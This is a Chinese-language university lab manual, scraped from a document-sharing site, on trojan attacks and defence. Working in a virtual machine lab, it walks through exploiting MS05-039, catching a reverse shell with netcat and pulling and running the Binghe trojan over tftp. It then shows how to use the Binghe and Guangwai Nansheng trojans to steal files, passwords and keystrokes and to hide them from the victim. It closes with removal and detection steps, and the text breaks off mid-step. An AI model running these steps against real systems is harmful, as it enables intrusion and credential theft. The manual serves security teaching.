实验指导5:木马攻击与防范实验指导书_第1页
实验指导5:木马攻击与防范实验指导书_第2页
实验指导5:木马攻击与防范实验指导书_第3页
实验指导5:木马攻击与防范实验指导书_第4页
实验指导5:木马攻击与防范实验指导书_第5页
已阅读5页,还剩22页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、实验指导5 木马攻击与防范实验1.实验目的 理解和掌握木马传播和运行的机制,掌握检查和删除木马的技巧,学会防御木马的相关知识,加深对木马的安全防范意识。2.预备知识2.1木马及木马技术的介绍(1)木马概念介绍很多人把木马看得很神秘,其实,木马就是在用户不知道的情况下被植入用户计算机,用来获取用户计算机上敏感信息(如用户口令,个人隐私等)或使攻击者可以远程控制用户主机的一个客户服务程序。这种客户/服务模式的原理是一台主机提供服务(服务器),另一台主机使用服务(客户机)。作为服务器的主机一般会打开一个默认的端口并进行监听(Listen),如果有客户机向服务器的这一端口提出连接请求(Connect

2、Request),服务器上的相应守护进程就会自动运行,来应答客户机的请求。通常来说,被控制端相当于一台服务器,控制端则相当于一台客户机,被控制端为控制端提供预定的服务。(2)木马的反弹端口技术由于防火墙对于进入的链接往往会进行非常严格的过滤,但是对于连出的链接却疏于防范。于是,与一般的木马相反,反弹端口型木马的服务端 (被控制端)使用主动端口,客户端 (控制端)使用被动端口。木马定时监测控制端的存在,发现控制端上线立即弹出端口主动连结控制端打开的主动端口;为了隐蔽起见,控制端的被动端口一般开在80,这样,即使用户使用端口扫描软件检查自己的端口,发现的也是类似TCP UserIP:1026 Co

3、ntrollerIP:80 ESTABLISHED的情况,稍微疏忽一点,你就会以为是自己在浏览网页 。(3)线程插入技术木马程序的攻击性有了很大的加强,在进程隐藏方面,做了较大的改动,不再采用独立的EXE可执行文件形式,而是改为内核嵌入方式、远程线程插入技术、挂接PSAPI等。这样木马的攻击性和隐藏性就大大增强了。2.2 木马攻击原理特洛伊木马是一个程序,它驻留在目标计算机里,可以随计算机自动启动并在某一端口进行侦听,在对接收的数据识别后,对目标计算机执行特定的操作。木马,其实质就是一个通过端口进行通信的网络客户/服务程序。 (1)基本概念网络客户/服务模式的原理是一台主机提供服务(服务器),

4、另一台主机接受服务(客户机)。作为服务器的主机一般会打开一个默认的端口并进行监听(Listen), 如果有客户机向服务器的这一端口提出连接请求(Connect Request), 服务器上的相应程序就会自动运行,来应答客户机的请求,这个程序称为守护进程(UNIX的术语,不过已经被移植到了MS系统上)。对于特洛伊木马,被控制端就成为一台服务器,控制端则是一台客户机,G_server.exe是守护进程, G_client是客户端应用程序。 (2)实现木马的控制功能 由于Win98开放了所有的权限给用户,因此,以用户权限运行的木马程序几乎可以控制一切,下面仅对木马的主要功能进行简单的概述, 主要是使

5、用Windows API函数。 远程监控(控制对方鼠标、键盘,并监视对方屏幕) l keybd_event模拟一个键盘动作。l mouse_event模拟一次鼠标事件l mouse_event(dwFlags,dx,dy,cButtons,dwExtraInfo)dwFlags: l MOUSEEVENTF_ABSOLUTE 指定鼠标坐标系统中的一个绝对位置l MOUSEEVENTF_MOVE 移动鼠标 l MOUSEEVENTF_LEFTDOWN 模拟鼠标左键按下 l MOUSEEVENTF_LEFTUP 模拟鼠标左键抬起 l MOUSEEVENTF_RIGHTDOWN 模拟鼠标右键按下 l

6、 MOUSEEVENTF_RIGHTUP 模拟鼠标右键按下l dx,dy:MOUSEEVENTF_ABSOLUTE中的鼠标坐标。 记录各种口令信息 keylog begin:将击键记录在一个文本文件里,同时还记录执行输入的窗口名。 获取系统信息 a.取得计算机名 GetComputerName b.更改计算机名 SetComputerNamec.当前用户 GetUserName d.系统路径 e.取得系统版本 f.当前显示分辨率 限制系统功能 a.远程关机或重启计算机,使用WinAPI中的如下函数可以实现。ExitWindowsEx(UINT uFlags,DWORD dwReserved)当

7、uFlags=EWX_LOGOFF 中止进程,然后注销 =EWX_SHUTDOWN 关掉系统但不关电源 =EWX_REBOOT 重新引导系统 =EWX_FORCE强迫中止没有响应的进程 =EWX_POWERDOWN 关掉系统及关闭电源 b.锁定鼠标,ClipCursor(lpRect As RECT)可以将指针限制到指定区域,或者用ShowCursor(FALSE)把鼠标隐藏起来也可以,RECT是定义的一个矩形。 c.让对方掉线 RasHangUp d.终止进程 ExitProcess e.关闭窗口 利用FindWindow函数找到窗口并利用SendMessage函数关闭窗口 远程文件操作 删

8、除文件:File delete拷贝文件:File copy 共享文件:Export list(列出当前共享的驱动器、目录、权限及共享密码) 注册表操作 在VB中只要Set RegEdit=CreateObject("WScript.Shell")就可以使用以下的注册表功能: 删除键值:RegEdit.RegDelete RegKey 增加键值:RegEdit.Write RegKey,RegValue 获取键值:RegEdit.RegRead (Value) 2.3 木马的防范建议A.不要随意打开来历不明的邮件现在许多木马都是通过邮件来传播的,当你收到来历不明的邮件时,请不

9、要打开,应尽快删除。并加强邮件监控系统,拒收垃圾邮件。B.不要随意下载来历不明的软件最好是在一些知名的网站下载软件,不要下载和运行来历不明的软件。在安装软件的同时最好用杀毒软件查看有没有病毒,之后才进行安装。C.及时修补漏洞和关闭可疑的端口一般木马都是通过漏洞在系统上打开端口留下后门,以便上传木马文件和执行代码,在把漏洞修补上的同时,需要对端口进行检查,把可疑的端口关闭。D.尽量少用共享文件夹如果必须使用共享文件夹,则最好设置帐号和密码保护。注意千万不要将系统目录设置成共享,最好将系统下默认共享的目录关闭。Windows系统默认情况下将目录设置成共享状态,这是非常危险的。E.运行实时监控程序

10、在上网时最好运行反木马实时监控程序和个人防火墙,并定时对系统进行病毒检查。F.经常升级系统和更新病毒库。3.实验环境1)预备知识要求l 了解网络的基本知识;l 熟练使用windows操作系统;l 充分理解木马攻击原理;l 熟悉缓冲溢出攻击。2)下载和运行木马软件期间,请关闭杀毒软件的自动防护功能以及防火墙,否则程序会被当作病毒而强行终止。3.1 运行环境1)需要下载的其它的工具软件有:l tftpd32.exe:tftp服务程序,用来传输“冰河”木马服务端程序l nc.exe:缓冲溢出攻击反向连接服务程序(参见“缓冲区溢出攻击与防范实验” );l Ms05039.exe:缓冲溢出攻击工具(参见

11、“缓冲区溢出攻击与防范实验” );l 冰河木马.exe:冰河木马程序;l gwboy092.exe:“广外男生”木马程序。2)本实验需要用到虚拟机,因此每台实验主机都通过安装软件WMware Workstation分割出虚拟机。真实主机P1的配置为:操作系统Windows2000 server或者windows xp sp2,并且安装ms05-039.exe缓冲区溢出攻击软件,“冰河”木马,“广外男生”木马。虚拟机P2配置为:操作系统Windows2000 Server(没有打补丁,存在ms05039漏洞,并且安装了IIS组件)。3)实验环境拓扑如图1所示:图1 实验网络拓扑图请根据实验环境将

12、IP地址填入下表,攻防实验服务器IPP1:本机IPP2:本机上的虚拟机IPP3:表1 实验IP实验中,可把真实机P2作为攻击机,安装上“冰河”木马程序,ms05039.exe,nc.exe,tftpd32.exe和“广外男生”;虚拟机P3作为被攻击主机,安装IIS组件。4.实验内容和步骤4.1 实验任务一:“冰河”木马本实验需要把真实主机作为攻击机,虚拟机作为靶机。即首先利用ms05039溢出工具入侵虚拟机,然后利用“冰河”木马实现对虚拟机的完全控制。最后对木马进行查杀。A.“冰河”使用:冰河是一个基于TCP/IP协议和Windows操作系统的网络工具,所以首先应确保该协议已被安装且网络连接无

13、误,然后配置服务器程序(如果不进行配置则取默认设置),并在欲监控的计算机上运行服务器端监控程序即可。主要文件包括:a. G_Server.exe: 被监控端后台监控程序(运行一次即自动安装,可任意改名),在安装前可以先通过“G_Client”的配置本地服务器程序功能进行一些特殊配置,例如是否将动态IP发送到指定信箱、改变监听端口、设置访问口令等);b. G_Client.exe: 监控端执行程序,用于监控远程计算机和配置服务器程序。具体功能操作包括:a.添加主机:将被监控IP地址添加至主机列表,同时设置好访问口令及端口,设置将保存在Operate.ini文件中,以后不必重输。如果需要修改设置,

14、可以重新添加该主机,或在主界面工具栏内重新输入访问口令及端口并保存设置。b. 删除主机:将被监控端IP地址从主机列表中删除。c. 自动搜索:搜索指定子网内安装有冰河的计算机。d. 查看屏幕:查看被监控端屏幕。e. 屏幕控制:远程模拟鼠标及键盘输入。f.“冰河”信使:点对点聊天室。g. 修改远程配置:在线修改访问口令,监听端口等服务器程序设置,不需要重新上传整个文件,修改后立即生效。B.在对“冰河”有所了解之后,我们进入攻防实验阶段使用“冰河”对目标计算机进行控制:在目标主机(虚拟机)上植入木马,即在此主机上运行G_Sever,作为服务器端;在攻击机上运行G_Client,作为控制端。分别运行这

15、两个.exe文件后,我们进入控制端主界面,按照以下步骤来实现对目标主机的控制。步骤1:入侵准备工作1)下载和安装木马软件前,关闭杀毒软件的自动防护功能,避免程序会被当作病毒而强行终止。2)运行G_CLIENT.EXE,如图2;图2 “冰河”运行主界面3)选择菜单“设置”->“配置服务程序”,如图3;图3 设置木马服务4)设置访问口令为“1234567”,其它为默认值,点击 “确定”生成木马的服务端程序G_SERVER.EXE。5)将生成的木马服务程序G_SERVER.EXE拷贝到tftp服务的目录即C:攻防tftp32,如图4。图4将G_SERVER.EXE拷贝到目录C:攻防tftp32

16、6)运行tftpd32.exe,如图5。保持此程序一直开启,用于等待攻击成功后传输木马服务程序。图5 tftp服务运行步骤2:进行攻击,将木马放置在被攻击端1)对靶机P3进行攻击,首先运行nc -vv -l -p 99接着再开一个dos窗口,运行ms05039 3 99 1(注意:此次IP地址请根据实际IP地址修改)2)攻击成功后,在运行nc -vv -l -p 99 的dos窗口中出现如图6提示,若攻击不成功请参照“缓冲区溢出攻击与防范实验”,再次进行攻击。图6 攻击成功示意3)在此窗口中运行tftp -i get

17、g_server.exe将木马服务程序G_server.exe上传到靶机P3上,并直接输入g_server.exe使之运行,如图7。图7 上载木马程序并运行步骤3:运行木马客户程序控制远程主机1)打开程序端程序,单击快捷工具栏中的“添加主机”按扭,如图8所示。ü “显示名称”:填入显示在主界面的名称“target”ü “主机地址”:填入服务器端主机的IP地址“3”。ü “访问口令”:填入每次访问主机的密码,这里输入“1234567”。ü “监听端口”:“冰河”默认的监听端口是7626,控制端可以修改它以绕过防火墙。图8 添加主机单

18、击“确定”按扭,即可以看到主机面上添加了主机,如图16。图9 添加主机后主界面这时我们就可以像操作自己的电脑一样操作远程目标电脑,比如打开C:WINNTsystem32config目录可以找到对方主机上保存用户口令的SAM文件。点击鼠标右键,可以发现有上传和下载功能。即可以随意将虚拟机器上的机密文件下载到本机上,也可以把恶意文件上传到该虚拟机上并运行。可见,其破坏性是巨大的。2)“文件管理器”使用。点击各个驱动器或者文件夹前面的展开符号,可以浏览目标主机内容。如图17所示,通过浏览可以发现目标主机的敏感信息,如“银行账号”等。图9 浏览至敏感信息然后选中文件,在右键菜单中选中“下载文件至.”,

19、在弹出的对话框中选好本地存储路径,点击“保存”。下载成功是界面如图10。图10 成功下载文件后界面2)“命令控制台”使用。单击“命令控制台”的标签,弹出命令控制台界面,如图11,验证控制的各种命令。图11 命令控制台 a. 口令类命令:展开“口令类命令”,如图12图12口令类命令 a.1 “系统信息及口令”可以查看远程主机的系统信息,开机口令,缓存口令等。 a.2 “历史口令”可以查看远程主机以往使用的口令。 a.3 “击键记录”可以记录远程主机用户击键记录,以次可以分析出远程主机的各种帐号和口令或各种秘密信息。 b. 控制类命令:展开“控制类命令”,如图13。图13 控制类命令 b.1 “捕

20、获屏幕” 可以使控制端使用者查看远程主机的屏幕。 b.2 “发送信息” 可以向远程计算机发送Windows标准的各种信息。 b.3 “进程管理” 可以使控制者查看远程主机上所有的进程,如图14。单击“查看进程”按钮,就可以看到远程主机上存在的进程,甚至还可以终止某个进程,只要选中相应的进程,然后单击“终止进程”就可以了。图14 远程主机进程控制 b.4 “窗口管理” 可以使远程主机上的窗口进行刷新,最大化,最小化,激活,隐藏等。 b.5 “系统管理” 可以使远程主机进行关机,重启,重新加载“冰河”,自动卸载“冰河”的操作。 b.6 “鼠标控制” 可以使远程主机上的鼠标锁定在某个范围内。 b.7

21、 “其他控制” 可以使远程主机上进行自动拨号禁止,桌面隐藏,注册表锁定等操作。c 网络类命令 展开“网络类命令”,如图15:c.1 “创建共享”在远程主机上创建自己的共享。 c.2 “删除共享”在远程主机上删除某个特定的共享。 c.3 “网络信息”可以看到远程主机上的IPC$,C$,ADMIN$等共享。 d 文件类命令: 展开“文件类命令”,"文件浏览",“文件查找”,“文件压缩”,“文件删除”,“文件打开”等。 e 注册表读写: 展开“注册表读写” f 设置类命令: 展开“设置类命令”图15 网络命令步骤4:删除“冰河”木马删除“冰河”木马的方法:A客户端的自动卸载功能,

22、在“控制命令类”中的“系统控制”里面就有自动卸载功能,执行这个功能,远程主机上的木马就自动卸载了。B手动卸载,查看注册表,打开windows注册编辑器。² 打开HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun如图16。在目录中发现了一个默认的键值C:WINNTSystem32kernel32.exe,这就是“冰河”木马在注册表中加入的键值,将它删除。² 打开HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVesionRunservices,如图17。在目录

23、中也发现了一个默认的键值C:WINNTSystem32kernel32.exe,这也是“冰河”在注册表中加入的键值,将它删除。上面两个注册表的子键目录Run和Runservices中存放的键值是系统启动时自启动的程序,一般病毒程序,木马程序,后门程序等都放在这些子键目录下,所以要经常检查这些目录下的程序。图16 注册表编辑图17注册表编辑² 然后再进入C:WINNTSystem32目录,找到“冰河”的两个可执行文件Kernel32.exe和Sysexplr.exe文件,将它们删除,如图18。图18 删除木马程序² 修改文件关联也是木马常用的手段,“冰河”将txt文件的缺省打

24、开方式由notepad.exe改为木马的启动程序,除此之外,html,exe,zip,com等都是木马的目标。所以,最后还需要恢复注册表中的txt文件关联功能,只要将注册表中的HKEY_CLASSES_ROOTtxtfileshellopencommand下的默认值,改为C:Windowsnotpad.exe %1,即可,如图19。这样,再次重启计算机我们就完全删除了“冰河”木马。C杀毒软件查杀 大部分杀毒软件都有查杀木马的功能,可以通过这个功能对主机进行全面扫描来去除木马,就彻底把木马文件删除了。图19 去除关联4.2 实验任务二:“广外男生”木马本实验将真实机作为攻击机,虚拟机作为靶机。真

25、实机利用“广外男生”木马对虚拟机进行攻击,最终完全取得虚拟机的控制权。最后学习木马的查杀。1)“广外男生”的连接运行gwboy.exe,打开“广外男生”的主程序,主界面如图20。图20 “广外男生”主界面进行客户端设置。依次单击“设置”“客户端设置”,弹出客户端设置界面如图21。我们可以看到它采用“反弹窗口线程插入技术”的提示。在“客户端最大连接数”中填入允许多少台客户端主机来控制服务器端,注意不要太多,否则容易造成服务器端主机死机。在“客户端使用端口”填入服务器端连接到客户端的那个端口,这是迷惑远程服务器端主机管理员和防火墙的关键,填入一些常用端口,会使远程主机管理员和防火墙误以为连接的是个

26、合法的程序。比如使用端口80(此例中,为避免端口冲突,我们使用1500端口)。选择“只允许以上地址连接”选项,使客户端主机IP地址处于默认的合法控制IP地址池中。图21客户端设置程序(2)设置木马的连接类型,如果使用反弹端口方式二则在弹出对话框中选中“使用HTTP网页IP通知”;如果使用反弹端口方式一,则选择“客户处于静态IP(固定IP地址)”,如图22。此处我们选择后者。单击“下一步”,和“完成”,结束客户端设置。图22 木马连接类型设置(4)进行服务器端设置。依次单击“设置”“生成服务器端”,这时弹出“广外男生”服务器端生成向导,直接单击“下一步”,弹出常规设置界面,如图23。图23 服务

27、器端设置在“EXE文件名”和“DLL文件名”中填入加载到远程主机系统目录下的可执行文件和动态链接库文件,在“注册表项目”中填入加载到远程主机注册表中的Run目录下的键值名。这些文件名都是相当重要的,因为这是迷惑远程主机管理员的关键所在,如果文件名起的非常隐蔽,如sysremote.exe, sysremote.dll,那么就算管理员发现了这些文件也不肯定这些文件就是木马而轻易删除。注意:把“服务器端运行时显示运行标志并允许对方退出”前面的对勾去掉,否则服务器端主机的管理员就可以轻易发现自己被控制了。(5)进行网络设置,如图24选择“静态IP”,在“客户端IP地址”中填入入侵者的静态IP地址(即

28、真实机IP),“客户端用端口”填入在客户端设置中选则的连接端口。图24 网络设置(6)生成代理文件,在“目标文件”中填入所生成服务器端程序的存放位置,如E:gwboy092Ahacktest.exe,这个文件就是需要植入远程主机的木马文件。单击“完成”即可完成服务器端程序的设置,这时就生成了一个文件名为hacktest.exe的可执行文件,如图25,并将该文件拷贝到虚拟机桌面上图25 生成代理文件(7)进行客户端与服务器连接。在虚拟机上执行木马程序hacktest.exe,等待一段时间后客户端主机“广外男生”显示连接成功, 如图26。这时,就可以和使用第2代木马“冰河”一样控制远程主机,主要的

29、控制选项有“文件共享”,“远程注册表”,“进程与服务”,“远程桌面”等。图26 客户端与服务器连接成功2)命令行下“广外男生”的检测(1)由于使用了“线程插入技术”,所以在windows系统中采用任务管理器查看线程是发现不了木马的踪迹的,只能看到一些正常的线程在运行,所以需要用到另外两个工具:fport和tlist。fport是第三方提供的一个工具,可以查看某个具体的端口被哪个进程所占用,并能查看PID。tlist是windows资源工具箱中提供的工具,功能非常强大,我们利用它查看进程中有哪些动态链接库正在运行,这对于检测插入在某个正常进程中的线程是非常有用的。【问题2】:什么是“线程插入技术”? (2)在服务器端主机(虚拟机)上依次单击“开始”“运行”,输入cmd,进入命令行提示符,在这里输入netstat -an,查看网络端口占用状态,如图27。在显示结果中,发现可疑IP地址(就是客户端IP地址)与本机建立了连接,这是我们需要注意的地方,记住本机用于连接的端口号1231,1232,1233,1234。图27 命令行下键入netstat an命令(3)接着在提示符下输入fport (注意,要在有fport.exe的目录中运行

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论